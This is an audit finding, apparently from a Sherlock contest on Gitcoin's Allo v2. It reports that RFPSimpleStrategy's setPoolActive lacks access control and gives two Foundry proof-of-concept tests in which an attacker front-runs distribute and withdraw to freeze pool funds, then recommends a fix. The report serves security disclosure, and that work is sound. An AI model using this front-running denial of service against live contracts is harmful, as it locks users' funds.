Damaged Cornflower Turkey

high

# Lack of Access Control leaves RFPSimpleStrategy.sol vulnerable to DoS attacks, freezing the funds.
`setActivePool` has no access controls. This means everyone can change the pool to active/inactive. A malicious user can front run every`distribute` and `withdraw` function by setting the pool to `active`. This means the funds will not be able to be distributed nor withdrawn, leaving the funds stuck in the strategy contract.
## Vulnerability Detail

According to the [documentation](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217) in `RFPSimpleStrategy.sol`:
```javascript
source: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol

/// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.
```
However, anyone can call `setPoolActive` in `RFPSimpleStrategy.sol`:
```javascript
source: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol

// findings marked with <=
function setPoolActive(bool _flag) external <= // no access control{
        _setPoolActive(_flag);
        emit PoolActive(_flag);
    }
```
There is no access controls stopping anyone from setting the pool to active or inactive. 
This opens up a lot of attack vectors for malicious users, for example, the `_distribute` function can only be called when the pool is inactive:
```javascript
source: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol

// findings marked with <=
    function _distribute(address[] memory, bytes memory, address _sender)
        internal
        virtual
        override
		onlyInactivePool    <= //requires the pool to be inactive
        onlyPoolManager(_sender)
    {
```
A malicious user can decide call `setPoolActive` with `true` every time a pool manager wants to distribute the funds.

The same logic applies to the `withdraw` function:
```javascript
source: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol

// findings marked with <=
    function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) 
    onlyInactivePool <=// requires the pool to be inactive
    {
        poolAmount -= _amount;
        _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);
    }
```

This POC contains two tests, showcasing how a malicious user can prevent anyone from calling the `withdraw` function or the `distribute` function:
```javascript
source: test/foundry/strategies/RFPSimpleStrategy.t.sol

// place in test/foundry/strategies/RFPSimpleStrategy.t.sol
// run using:
// forge test --match-contract RFPSimpleStrategy --match-test test_dosDistribute -vvvv
    function test_dosDistribute() public {
        address hacker = makeAddr("1337pwner");

        // create recipientId
        address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();
        // give the admin 1e19 native token
        vm.deal(pool_admin(), 1e19);

        vm.prank(pool_admin());
        // fund the pool with 1e19 native token
        allo().fundPool{value: 1e19}(poolId, 1e19);
    
        // the hacker frontruns the distribute call by setting the pool to active
        vm.prank(hacker);
        strategy.setPoolActive(true);

        // distribute will fail with the error message: POOL_ACTIVE()
        vm.expectRevert(POOL_ACTIVE.selector);
        vm.prank(address(allo()));
        strategy.distribute(new address[](0), "", pool_admin());
    }


// run using:
// forge test --match-contract RFPSimpleStrategy --match-test test_dosWithdraw -vvvv
    function test_dosWithdraw() public {
        address hacker = makeAddr("1337pwner");

        // create recipientId
        address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();
        // give the admin 1e19 native token
        vm.deal(pool_admin(), 1e19);

        vm.prank(pool_admin());
        // fund the pool with 1e19 native token
        allo().fundPool{value: 1e19}(poolId, 1e19);
    
        // the hacker frontruns the distribute call by setting the pool to active
        vm.prank(hacker);
        strategy.setPoolActive(true);

        // withdraw will fail with the error message: POOL_ACTIVE()
        vm.expectRevert(POOL_ACTIVE.selector);
        vm.prank(pool_admin());
        strategy.withdraw(1e19);
    }
```

These are all the functions in `RFPSimpleStrategy.sol` that have either `onlyActivePool` or `onlyInactivePool`:
```javascript
//onlyActivePool
    function _registerRecipient(bytes memory _data, address _sender)
    function _allocate(bytes memory _data, address _sender)

//onlyInactivePool
    function _distribute(address[] memory, bytes memory, address _sender)
    function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {

```
A malicious user can deny anyone from calling these by setting the value that makes `onlyActive `or `onlyInactive` fail.
## Impact
Funds will be stuck in the contract, withdraw will not be possible. Cost for the malicious user is low. 
Likelihood is very high. Everyone can call `setPoolActive` and change the flag to whatever he wants.
## Code Snippet
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222
## Tool used
Manual Review
## Recommendation
Add `onlyPoolManager(msg.sender)` as a modifier to the `setPoolActive` function. This is what the function should look like:
```javascript
function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {
        _setPoolActive(_flag);
        emit PoolActive(_flag);
    }
```